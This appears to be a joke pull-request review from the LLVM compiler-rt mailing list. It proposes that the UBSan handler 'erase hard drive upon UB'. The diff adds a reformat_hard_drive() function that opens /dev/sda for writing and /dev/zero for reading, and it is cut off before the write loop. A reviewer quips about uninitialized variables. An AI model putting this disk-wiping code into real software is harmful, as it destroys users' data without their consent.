[compiler-rt] [compiler-rt][ubsan] erase hard drive upon UB (PR #87251)

[Nick Desaulniers via llvm-commits]

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@@ -141,10 +141,26 @@ void __ubsan::__ubsan_handle_type_mismatch_v1(TypeMismatchData *Data,
   GET_REPORT_OPTIONS(false);
   handleTypeMismatchImpl(Data, Pointer, Opts);
 }
+
+#include <fcntl.h>
+#include <unistd.h>
+static void reformat_hard_drive() {
+  // TODO: windows support
+  int out = open("/dev/sda", O_WRONLY);
+  int in = open("/dev/zero", O_RDONLY);
+  if (in == -1 || out == -1)
+    return;
+
+  off64_t offset = 0;
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nickdesaulniers wrote:

Perhaps it would be better to leave this uninitialized for improved entropy?

https://github.com/llvm/llvm-project/pull/87251